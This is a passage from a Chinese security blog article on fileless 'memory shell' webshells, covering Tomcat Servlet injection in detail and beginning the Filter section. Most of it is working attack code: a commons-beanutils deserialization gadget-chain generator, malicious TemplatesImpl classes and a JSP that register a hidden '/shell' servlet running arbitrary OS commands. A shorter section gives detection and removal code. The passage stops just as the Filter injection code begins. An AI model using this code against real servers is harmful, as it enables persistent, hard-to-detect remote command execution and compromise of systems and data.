Java/Python/PHP 内存马

admin 2024年2月10日12:52:10评论17 views字数 98897阅读329分39秒阅读模式

扫码领资料

获网安教程

免费&进群

Java/Python/PHP 内存马
Java/Python/PHP 内存马

前言

因为内存马种类繁杂,每次都要翻看很多文章,又加上最近有某个大活动,因此就写了这篇文章来总结一下常见的3种语言(PHP、Python、JAVA)的内存马的注入方法和查杀方法,并尝试自己完成一个内存马查杀工具的实现。希望本篇文章能给师傅们带来一些启发。文章一长就难免在表达和准确性上有所疏漏,如有错误或不足,请师傅们指正。

Java内存马的种类很多,这篇文章主要对Tomcat-Servlet、Tomcat-Filter、Tomcat-Listener、Tomcat-Websocket、JavaAgent以及SpringMVC Controller等种类的内存马进行研究。很多师傅在分析或者注入Java内存马的时候利用的exp大多是jsp形式的,通过向目标Web目录上传jsp文件,之后访问该jsp文件执行jsp代码从而注入Java内存马。因为这种方式仍然存在文件落盘,而存在文件落盘就意味着很容易被IDS监测到,因此笔者认为这种办法应当是我们拿不到代码执行权限,但是可以拿到命令执行权限或文件上传权限的时候再去利用。那如果我们可以拿到代码执行权限,比如目标存在反序列化漏洞的情况,我们又该如何做到在不上传jsp的条件下,完成内存马的注入?其实难点在于我们该怎样获取request对象。获取request对象并不仅仅是反序列化注入内存马要考虑的,在Java RCE Echo中,也是重中之重。本篇文章重点介绍通过反序列化注入内存马的方法。(本篇文章默认读者拥有基础的Tomcat、JavaAgent以及Spring框架知识)

PHP内存马是通过伪造fastcgi协议包与php-fpm进行通信,改变auto_prepend_file配置,从而在每次访问正常PHP文件时加载我们构造好的php马。因为笔者并不认可PHP不死马是一种内存马技术,因此在这篇文章就不做具体介绍了。

Python内存马,原出自hexman学长介绍的一种方法:https://github.com/iceyhexman/flask_memory_shell,通过利用flask/jinja2 SSTI漏洞来实现内存修改,注入内存马。网上也有不少文章在介绍这种内存马,然而仅仅只是根据payload来解释,没有人从代码层去分析能够注入内存马的原因,本篇文章会从代码层分析flask的请求上下文机制,并根据注入原理给出一些payload变形。虽然flask/jinja2 SSTI漏洞在真实场景中很难出现,但是在一些AWD比赛上关于flask/jinja2 SSTI漏洞的题目却是经常有,为了能够在目标修补SSTI漏洞后维持权限,这种内存马也是很值得学一学的。

Java 内存马

笔者Tomcat的版本是9.0.76,不同的Tomcat版本可能会有所差异,请注意。

Tomcat-Servlet 型内存马

流程分析

首先配置一个最简单的Servlet:

import java.io.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

@WebServlet(name = "helloServlet", value = "/hello-servlet", loadOnStartup = 2)
public class HelloServlet extends HttpServlet {
  private String message;

  public void init() {
      message = "Hello World!";
  }

  public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
      response.setContentType("text/html");

      // Hello
      PrintWriter out = response.getWriter();
      out.println("<html><body>");
      out.println("<h1>" + message + "</h1>");
      out.println("</body></html>");
  }

  public void destroy() {
  }
}

此处写loadOnStartup=2是为了后面的调试更好理解。接着导入tomcat-catalina依赖,应与自己的tomcat版本一致:

<dependency>
  <groupId>org.apache.tomcat</groupId>
  <artifactId>tomcat-catalina</artifactId>
  <version>9.0.76</version>
  <scope>provided</scope>
</dependency>

在org.apache.catalina.startup.ContextConfig#configureContext处打下断点,开始调试:

Java/Python/PHP 内存马

因为我们是采用注解的方式配置Servlet,因此此处我们仍然可以获取到创建的Servlet。首先是DefalutServlet以及JspServlet,接着就遍历到了我们创建的HelloServlet了:

Java/Python/PHP 内存马

之后执行this.context.createWrapper()创建Wrapper,Wrapper 表示一个Servlet,负责管理整个 Servlet 的生命周期,包括装载、初始化、资源回收等:

Java/Python/PHP 内存马

可以看到this.context是一个StandardContext对象。那我们继续调试看看对Wrapper进行了哪些操作:

Java/Python/PHP 内存马

首先获取Servlet的LoadOnStartup和enabled,并设置给Wrapper。其中LoadOnStartup就是我们在注解中配置的参数,它表示servlet被加载的先后顺序。继续跟进:

Java/Python/PHP 内存马

这里调用了Servlet的getServletName()方法,获取servlet的名字,也就是我们在主机中配置的name参数的值,接着将name的值设置给Wrapper。接着还将servlet.getRunAs()的结果传入给了Wrapper,不过因为此处servlet.getRunAs()的执行结果是null且roleRefs.size()==0,因此此处我们可以忽略:

Java/Python/PHP 内存马

继续跟进:

Java/Python/PHP 内存马

可以看到此处将Wrapper的servletClass设置为HelloServlet的全限定名。继续跟进,因为Servlet的multipartDef==null、asyncSupported==null,因此以下部分我们可以跳过:

Java/Python/PHP 内存马

之后又执行了addChild方法将这个Wrapper添加进了StandardContext中:

Java/Python/PHP 内存马

接下来添加Servlet-Mapper,也就是web.xml中的<servlet-mapping>,不过因为我们是通过注解设置url和servlet的映射关系,因此此处是通过注解获取而非web.xml。接着循环addServletMappingDecoded将url和servlet类做映射:

Java/Python/PHP 内存马

至此我们就看完了servlet的注册流程,但是还有一个疑问,那就是这个StandardContext从哪里获取?

其实这个分两种情况,一种是网上很常见的,将内存马的生成代码写入到jsp并上传到目标服务器,接着访问该jsp然后注入内存马,这种方法获取StandardContext比较容易,因为jsp内置request对象,因此可以直接利用request对象反射获取。但是这种情况要求文件落地,很容易被检测到。还有一种情况是通过某些gadget chain(如CC11,CB1)打入字节码,然后注入内存马。这种情况需要我们知道request存储的位置,获取到request对象后通过反射获取StandardContext。第二种情况更隐蔽,但同时要求和难度更大,这里对两种方法都进行介绍。

反序列化注入Tomcat-Servlet型内存马

添加commons-beanutils依赖:

<dependency>
        <groupId>commons-beanutils</groupId>
        <artifactId>commons-beanutils</artifactId>
        <version>1.9.2</version>
    </dependency>

并修改HelloServlet的doPost方法,我们手动构造一个反序列化漏洞环境:

public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException{
      String codes = request.getParameter("codes");
      System.out.println(codes);
      byte[] codebytes = Base64.getDecoder().decode(codes);
      try {
          ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(codebytes));
          ois.readObject();
          ois.close();
      }catch (ClassNotFoundException c){

      }

      response.setContentType("text/html");

      // Hello
      PrintWriter out = response.getWriter();
      out.println("<html><body>");
      out.println("<h1>反序列化成功!</h1>");
      out.println("</body></html>");

  }

反序列化注入内存马获取request对象的方法,我这里提供两种。一种是kingkk师傅提出的:

1、反射修改ApplicationDispatcher.WRAP_SAME_OBJECT

2、初始化lastServicedRequestlastServicedResponse两个变量,默认为null

3、从lastServicedResponse中获取当前请求response,并且回显内容。

这种方法缺点是只使用于Tomcat,但优点是耗时更短,获取request更稳定。另一种是c0ny1师傅提出的通过Thread.currentThread()或Thread.getThreads()获取:

按照经验来讲Web中间件是多线程的应用,一般requst对象都会存储在线程对象中,可以通过Thread.currentThread()Thread.getThreads()获取。当然其他全局变量也有可能,这就需要去看具体中间件的源码了。比如前段时间先知上的李三师傅通过查看代码,发现[MBeanServer](https://xz.aliyun.com/t/7535)中也有request对象。

这种方法的优点是更加通用,在多种Web中间件中都可以使用,但缺点是耗时稍长,且有时候会出现没有搜索到request对象的情况。出现首先给出第一种方法的EXP:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;


import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;


public class Test {

  public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
      Field field = obj.getClass().getDeclaredField(fieldName);
      field.setAccessible(true);
      field.set(obj, value);
  }

  public static Field getField(final Class<?> clazz, final String fieldName) {
      Field field = null;
      try {
          field = clazz.getDeclaredField(fieldName);
          field.setAccessible(true);
      }
      catch (NoSuchFieldException ex) {
          if (clazz.getSuperclass() != null)
              field = getField(clazz.getSuperclass(), fieldName);
      }
      return field;
  }

  public static Object getpayload() throws Exception{
      TemplatesImpl obj = new TemplatesImpl();
      setFieldValue(obj, "_bytecodes", new byte[][]{
              ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
      });
      setFieldValue(obj, "_name", "HelloTemplatesImpl");
      setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

      final BeanComparator comparator = new BeanComparator();
      final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
      // stub data for replacement later
      queue.add(1);
      queue.add(1);

      setFieldValue(comparator, "property", "outputProperties");
      setFieldValue(queue, "queue", new Object[]{obj, obj});

      return queue;
  }

  @org.junit.jupiter.api.Test
  public void test1() throws Exception{
      Object payload = getpayload();
      ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
      ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
      outputStream.writeObject(payload);
      outputStream.flush();

      String codes = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
      System.out.println(codes);
  }
}

以下是CB1反序列化所需要的恶意模板类:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;

public class EvilTemplatesImpl extends AbstractTranslet implements Servlet{

  private transient ServletConfig config;

  @Override
  public void init(ServletConfig var1) throws ServletException{
      return;
  };

  public ServletConfig getServletConfig(){
      return this.config;
  };

  public String getServletInfo(){
      return "Servlet Info";
  };

  @Override
  public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
      String cmd = servletRequest.getParameter("cmd");
      boolean isLinux = true;
      String osTyp = System.getProperty("os.name");
      if (osTyp != null && osTyp.toLowerCase().contains("win")) {
          isLinux = false;
      }
      String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
      InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
      Scanner s = new Scanner(in).useDelimiter("\a");
      String output = s.hasNext() ? s.next() : "";
      PrintWriter out = servletResponse.getWriter();
      out.println(output);
      out.flush();
      out.close();
  }

  @Override
  public void destroy() {
      return;
  }

  public static void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {
      field.setAccessible(true);
      Field modifiersField = Field.class.getDeclaredField("modifiers");
      modifiersField.setAccessible(true);
      modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
  }

  public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

  public EvilTemplatesImpl(String abc){

  }

  public EvilTemplatesImpl() throws Exception{
      Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
      Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
      Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

      setFinalStatic(WRAP_SAME_OBJECT_FIELD);
      setFinalStatic(lastServicedRequestField);
      setFinalStatic(lastServicedResponseField);

      ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
      ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);


      if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){
          WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
          lastServicedRequestField.set(null, new ThreadLocal());
          lastServicedResponseField.set(null, new ThreadLocal());

      }else {
          AddMemoryShell(lastServicedRequest, lastServicedResponse);
      }

  }

  public static void AddMemoryShell(ThreadLocal<ServletRequest> lastServicedRequest, ThreadLocal<ServletResponse> lastServicedResponse) throws Exception{
      ServletRequest servletRequest = lastServicedRequest.get();
      ServletResponse servletResponse = lastServicedResponse.get();

      ServletContext servletContext = servletRequest.getServletContext();
      Field context = servletContext.getClass().getDeclaredField("context");
      context.setAccessible(true);
      ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
      Field context1 = applicationContext.getClass().getDeclaredField("context");
      context1.setAccessible(true);
      StandardContext standardContext = (StandardContext) context1.get(applicationContext);

      //获得StandardContext后按照分析的步骤做就行了
      Wrapper EvilWrapper = standardContext.createWrapper();
      //(重点)此处不利用无参构造方法获得EvilTemplatesImpl对象是避免循环执行无参构造方法中的代码!
      Servlet evilTemplates = new EvilTemplatesImpl("rainb0w");
      String ClassName = evilTemplates.getClass().getSimpleName();
      EvilWrapper.setName(ClassName);
      EvilWrapper.setLoadOnStartup(1);
      EvilWrapper.setServlet(evilTemplates);
      EvilWrapper.setServletClass(evilTemplates.getClass().getName());

      standardContext.addChild(EvilWrapper);
      standardContext.addServletMappingDecoded("/shell", ClassName);
  }

}

这里无法直接new一个Servlet对象,具体原因未知(后续反序列化注入Tomcat-Filter型内存马时同样无法直接创建一个Filter对象)。因此采用办法的是让EvilTemplatesImpl实现Servlet接口,接着重写接口中的方法,将接受参数执行命令并回显的部分写入service方法中,最后我们直接创建一个EvilTemplatesImpl对象即是一个Servlet对象。但是切记不要使用无参构造方法创建,因为反序列化时我们无参构造方法中的代码是默认执行的,如果这里创建对象时还用无参构造方法,那么就会造成递归。实际效果如下:

首先将生成的payload进行url编码发送:

接着进入/shell即可执行命令:

以下是第二种方法的EXP:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;


import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;


public class Test {

  public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
      Field field = obj.getClass().getDeclaredField(fieldName);
      field.setAccessible(true);
      field.set(obj, value);
  }

  public static Field getField(final Class<?> clazz, final String fieldName) {
      Field field = null;
      try {
          field = clazz.getDeclaredField(fieldName);
          field.setAccessible(true);
      }
      catch (NoSuchFieldException ex) {
          if (clazz.getSuperclass() != null)
              field = getField(clazz.getSuperclass(), fieldName);
      }
      return field;
  }

  public static Object getpayload() throws Exception{
      TemplatesImpl obj = new TemplatesImpl();
      setFieldValue(obj, "_bytecodes", new byte[][]{
              ClassPool.getDefault().get(EvilTemplatesImpl1.class.getName()).toBytecode()
      });
      setFieldValue(obj, "_name", "HelloTemplatesImpl");
      setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

      final BeanComparator comparator = new BeanComparator();
      final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
      // stub data for replacement later
      queue.add(1);
      queue.add(1);

      setFieldValue(comparator, "property", "outputProperties");
      setFieldValue(queue, "queue", new Object[]{obj, obj});

      return queue;
  }

  @org.junit.jupiter.api.Test
  public void test1() throws Exception{
      Object payload = getpayload();
      ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
      ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
      outputStream.writeObject(payload);
      outputStream.flush();

      String codes = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
      System.out.println(codes);
  }
}

恶意模板类如下所示:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.HashSet;
import java.util.Scanner;

public class EvilTemplatesImpl1 extends AbstractTranslet implements Servlet{
  private transient ServletConfig config;

  @Override
  public void init(ServletConfig var1) throws ServletException{
      return;
  };

  @Override
  public ServletConfig getServletConfig(){
      return this.config;
  };

  @Override
  public String getServletInfo(){
      return "Servlet Info";
  };

  @Override
  public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
      String cmd = servletRequest.getParameter("cmd");
      boolean isLinux = true;
      String osTyp = System.getProperty("os.name");
      if (osTyp != null && osTyp.toLowerCase().contains("win")) {
          isLinux = false;
      }
      String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
      InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
      Scanner s = new Scanner(in).useDelimiter("\a");
      String output = s.hasNext() ? s.next() : "";
      PrintWriter out = servletResponse.getWriter();
      out.println(output);
      out.flush();
      out.close();
  }

  @Override
  public void destroy() {
      return;
  }

  static HashSet<Object> h;
  static HttpServletRequest r;
  static HttpServletResponse p;

  public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
  public EvilTemplatesImpl1(){
      r = null;
      p = null;
      h =new HashSet<Object>();
      F(Thread.currentThread(),0);
  }

  public EvilTemplatesImpl1(String s){
  }

  private static boolean i(Object obj){
      if(obj==null|| h.contains(obj)){
          return true;
      }

      h.add(obj);
      return false;
  }

  private static void p(Object o, int depth){
      if(depth > 52||(r !=null&& p !=null)){
          return;
      }
      if(!i(o)){
          if(r ==null&&HttpServletRequest.class.isAssignableFrom(o.getClass())){
              r = (HttpServletRequest)o;
              if(r.getHeader("rainb0w")==null) {
                  r = null;
              }else{
                  try {
                      p = (HttpServletResponse) r.getClass().getMethod("getResponse").invoke(r);
                  } catch (Exception e) {
                      r = null;
                  }
              }
          }
          if(r !=null&& p !=null){

              AddMemoryShell(r,p);
              return;
          }

          F(o,depth+1);
      }
  }

  private static void F(Object start, int depth){

      Class n=start.getClass();
      do{
          for (Field declaredField : n.getDeclaredFields()) {
              declaredField.setAccessible(true);
              Object o = null;
              try{
                  o = declaredField.get(start);

                  if(!o.getClass().isArray()){
                      p(o,depth);
                  }else{
                      for (Object q : (Object[]) o) {
                          p(q, depth);
                      }

                  }

              }catch (Exception e){
              }
          }

      }while(
              (n = n.getSuperclass())!=null
      );
  }

  public static void AddMemoryShell(HttpServletRequest request, HttpServletResponse response){
      try {
          ServletContext servletContext = request.getServletContext();
          Field context = servletContext.getClass().getDeclaredField("context");
          context.setAccessible(true);
          ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
          Field context1 = applicationContext.getClass().getDeclaredField("context");
          context1.setAccessible(true);
          StandardContext standardContext = (StandardContext) context1.get(applicationContext);

          Wrapper EvilWrapper = standardContext.createWrapper();
          //(重要!)此处不利用无参构造方法获得EvilTemplatesImpl对象是避免循环执行无参构造方法中的代码!
          Servlet evilServlet = new EvilTemplatesImpl1("rainb0w");
          String ClassName = evilServlet.getClass().getSimpleName();
          EvilWrapper.setName(ClassName);
          EvilWrapper.setLoadOnStartup(1);
          EvilWrapper.setServlet(evilServlet);
          EvilWrapper.setServletClass(evilServlet.getClass().getName());

          standardContext.addChild(EvilWrapper);
          standardContext.addServletMappingDecoded("/shell", ClassName);
      }catch (Exception e){

      }
  }

}

阅读代码,可以看到我们这里判断是否获取到了当前请求的request对象时,是通过判断当前请求是否存在rainb0w请求头来进行的。如果能够获取到当前请求的request对象,那么就通过反射获取到当前请求的response对象。接着传入到AddMemoryShell方法用于获取StandardContext。因此我们在传入生成的payload的时候就需要发送rainb0w请求头:

因为通过这种方法获取request对象不稳定,因此可能需要传入多次payload。

上传jsp注入Tomcat-Servlet内存马

相比反序列化传入字节码注入内存马相比,上传jsp的方法则要简单的多,因此jsp中内置request对象,我们可以直接用内置的request对象反射获得StandardContext:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.*" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
public class ServletShell extends HttpServlet {
public void init(FilterConfig config) throws ServletException {

}

public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
PrintWriter out = response.getWriter();
String command = request.getParameter("cmd");
BufferedReader br = null;
if(command == null){
command = "whoami";
}
Process p = Runtime.getRuntime().exec(command);
br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
StringBuffer stringBuffer = new StringBuffer();
while ((line = br.readLine())!=null)
{
stringBuffer.append(line + "n");
}
out.println(stringBuffer.toString());;
}

public void destroy( ){

}
}
%>

<%

ServletContext servletContext = request.getServletContext();
Field applicationContextFiled = servletContext.getClass().getDeclaredField("context");
applicationContextFiled.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFiled.get(servletContext);
Field standardContextFiled = applicationContext.getClass().getDeclaredField("context");
standardContextFiled.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext);


Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
ServletShell servletShell = new ServletShell();
wrapper.setName(servletShell.getClass().getSimpleName());
wrapper.setServlet(servletShell);
wrapper.setServletClass(servletShell.getClass().getName());
%>
<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell", servletShell.getClass().getSimpleName());
%>

Tomcat-Servlet 型内存马查杀

和Servlet相关的是childrenservletMappings两个属性,这两个属性分别维护着Servlet的定义,以及Servlet的映射关系。在StandardContext中有removeChild()方法来删除指定的Wrapper:

org.apache.catalina.core.StandardContext#removeServletMapping方法通过指定的pattern删除Servlet映射。

有了这两个方法我们就可以删除掉指定的Servlet了。那我们该怎么知道哪些类是内存马需要被删除呢?有以下几种判断方法:

  • 判断该Class是否有对应的磁盘文件

  • dump Class字节码,反编译审计是否存在恶意代码

  • 是否被可疑的ClassLoader所加载?

  • 根据Class名及urlpattern判断

以下给出查杀代码:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.catalina.Container" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Iterator" %>
<%!
public Object getStandardContext(HttpServletRequest request) throws NoSuchFieldException, IllegalAccessException {
ServletContext servletContext = request.getServletContext();
Field applicationContextFiled = servletContext.getClass().getDeclaredField("context");
applicationContextFiled.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFiled.get(servletContext);
Field standardContextFiled = applicationContext.getClass().getDeclaredField("context");
standardContextFiled.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext);
return standardContext;
}
%>
<%!
public synchronized HashMap<String, Container> getChildren(HttpServletRequest request) throws Exception {
Object standardContext = getStandardContext(request);
Field childrenFiled = standardContext.getClass().getSuperclass().getDeclaredField("children");
childrenFiled.setAccessible(true);
HashMap<String, Container> children = (HashMap<String, Container>) childrenFiled.get(standardContext);
return children;
}
%>
<%!
public synchronized HashMap<String, String> getServletMaps(HttpServletRequest request) throws Exception {
Object standardContext = getStandardContext(request);
Field servletMappingsField = standardContext.getClass().getDeclaredField("servletMappings");
servletMappingsField.setAccessible(true);
HashMap<String, String> servletMappings = (HashMap<String, String>) servletMappingsField.get(standardContext);
return servletMappings;
}
%>
<%!
public boolean classFileIsExists(Class clazz) {
if (clazz == null) {
return false;
}

String className = clazz.getName();
String classNamePath = className.replace(".", "/") + ".class";
URL url = clazz.getClassLoader().getResource(classNamePath);
if (url == null) {
return false;
} else {
return true;
}
}
%>
<%!
public boolean isMemoryShell(String servletClassLoaderName, Class servletClass){
if((!servletClassLoaderName.contains("org.apache.catalina.loader") && !servletClassLoaderName.equals("java.net.URLClassLoader")) || !classFileIsExists(servletClass)){
return true;
}else {
return false;
}
}
%>
<%!
public synchronized void deleteServlet(HttpServletRequest request, String servletName) throws Exception {
HashMap<String, Container> childs = getChildren(request);
Object objChild = childs.get(servletName);
String urlPattern = null;
HashMap<String, String> servletMaps = getServletMaps(request);
for (Map.Entry<String, String> servletMap : servletMaps.entrySet()) {
if (servletMap.getValue().equals(servletName)) {
urlPattern = servletMap.getKey();
break;
}
}
if (urlPattern != null) {
// 反射调用 org.apache.catalina.core.StandardContext#removeServletMapping
Object standardContext = getStandardContext(request);
Method removeServletMapping = standardContext.getClass().getDeclaredMethod("removeServletMapping", new Class[]{String.class});
removeServletMapping.setAccessible(true);
removeServletMapping.invoke(standardContext, urlPattern);
// 反射调用 org.apache.catalina.core.StandardContext#removeChild
Method removeChild = standardContext.getClass().getDeclaredMethod("removeChild", new Class[]{org.apache.catalina.Container.class});
removeChild.setAccessible(true);
removeChild.invoke(standardContext, objChild);
}
}
%>

<%
HashMap<String, Container> children = getChildren(request);
Map<String, String> servletMappings = getServletMaps(request);
Map<String, String> servletMappingsCopy = new HashMap<>(servletMappings);
for(Map.Entry<String, String> entry : servletMappingsCopy.entrySet()){
String servletMapPath = entry.getKey();
String servletName = entry.getValue();
StandardWrapper wrapper = (StandardWrapper) children.get(servletName);

Class servletClass = null;
try {
servletClass = Class.forName(wrapper.getServletClass());
} catch (Exception e) {
Object servlet = wrapper.getServlet();
if (servlet != null) {
servletClass = servlet.getClass();
}
}
if (servletClass != null) {
out.write("<tr>");
String servletClassName = servletClass.getName();
String servletClassLoaderName = null;
try {
servletClassLoaderName = servletClass.getClassLoader().getClass().getName();
} catch (Exception e) {
}
if(isMemoryShell(servletClassLoaderName, servletClass)){
deleteServlet(request, servletName);
}
}
}
%>

代码很容易理解,稍微解释一下吧。首先获取children属性和servletMappings属性,之后不断遍历servletMappings,获取ClassName以及ClassLoaderName,之后调用isMemoryShell函数判断是否为内存马,如果是内存马则删除,以下是isMemoryShell函数:

public boolean isMemoryShell(String servletClassLoaderName, Class servletClass){
if((!servletClassLoaderName.contains("org.apache.catalina.loader") && !servletClassLoaderName.equals("java.net.URLClassLoader")) || !classFileIsExists(servletClass)){
return true;
}else {
return false;
}
}

判断逻辑很简单粗暴,判断是否是一个正常的ClassLoader以及该Class是否有对应的磁盘文件。

Tomcat-Filter 型内存马

流程分析

写一个简单的Filter:

package com.example.tomcatservletmemshell;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpFilter;

@WebFilter(filterName = "helloFIlter", urlPatterns = "/hello-servlet")
public class HelloFilter extends HttpFilter {
public void init(FilterConfig config) throws ServletException {

}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws java.io.IOException, ServletException {
System.out.println("rainb0w");;

// 把请求传回过滤链
chain.doFilter(request,response);
}
public void destroy( ){

}
}

因为我们是通过注解的方式添加了一个Filter,因此我们需要找一下该注解的处理位置,首先利用maven下载源代码,之后全局搜索:

进入后,发现org.apache.catalina.startup.ContextConfig#processAnnotationWebFilter是处理@WebFilter的函数:

打下断点,跟进:

可以看到,filterName的值为我们在注解中配置好的filterName。接着往下看:

创建filterDef对象,设置了filterName和filterClass,其中filterClass是我们创建的FIlter的全限定名。之后遍历evps

for 循环两次,evp.getNameString()获得的字符串结果有两个,一个是filterName,还有一个是urlPatterns,也就是我们在注解中配置那两个参数。当name变量被赋值urlPatterns时,进入if语句:

得到urlPatterns并遍历,将所有的urlPattern添加进filterMap中。继续跟进:

可以看到,通过调用addFilter()addFilterMapping()filterDeffilterMap添加进fragment中。fragment是个webXml对象,里面存放着web的各种配置信息,会和web.xml读取出来的信息会进行合并。继续跟进,执行到如下代码:

又是configureContext函数,还记得我们上面在分析注册Servlet流程的时候也看到了这个函数吗?这里注释解释得也很清楚,此处是将合并后的web.xml应用于Context。进入configureContext函数,此处调用addFilterDef()和addFilterMap()方法,context同样是一个StandardContext对象:

但是请注意,此时仍然完成自定义 Filter 的注册,因为并没有将这个 Filter 放到 FilterChain 中。之后我们在doFilter处打下断点,访问/hello-servlet,看到调用栈:

发现在下图的位置org.apache.catalina.core.ApplicationFilterChain#internalDoFilter执行了doFilter

可以看到filter是从filterConfig取出的,而filterConfig是从filters数组中的元素赋值得到的。那么ApplicationFilterChain是什么时候被创建的呢?它其中的filters字段又是什么时候被赋值的呢?继续看调用栈:

向上回溯,可以看到下图的位置执行了filterChain.doFilter(),也正是因为这里的调用,我们创建的Filter中的doFilter得以执行:

向上看,可以看到filterChain是通过ApplicationFilterFactory.createFilterChain()得到的。跟进org.apache.catalina.core.ApplicationFilterFactory#createFilterChain,打下断点,进行调试:

取出StandardContext中的filterMaps并复制给filterMaps,可以看到filterMaps中有我们创建的Filter:

继续跟进:

通过.addFilter()方法添加进从StandardContext中取出的filterConfig,并将其赋值给filterChain中的filters数组字段中的元素。至此,我们就已经完整地跟进了整个Filter的注册和doFilter的调用。

过程其实挺好理解,总结一下:

1.获取StandardContext:

2.创建FilterDef,通过addFilterDef()函数添加进StandardContext

3.创建ApplicationFilterConfig,通过反射拿到StandardContext的filterConfigs字段,并调用put()方法将ApplicationFilterConfig添加进StandardContext

3.创建FilterMap,通过addFilterMapBefore()函数添加进StandardContext。

反序列化注入Tomcat-Filter 型内存马

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
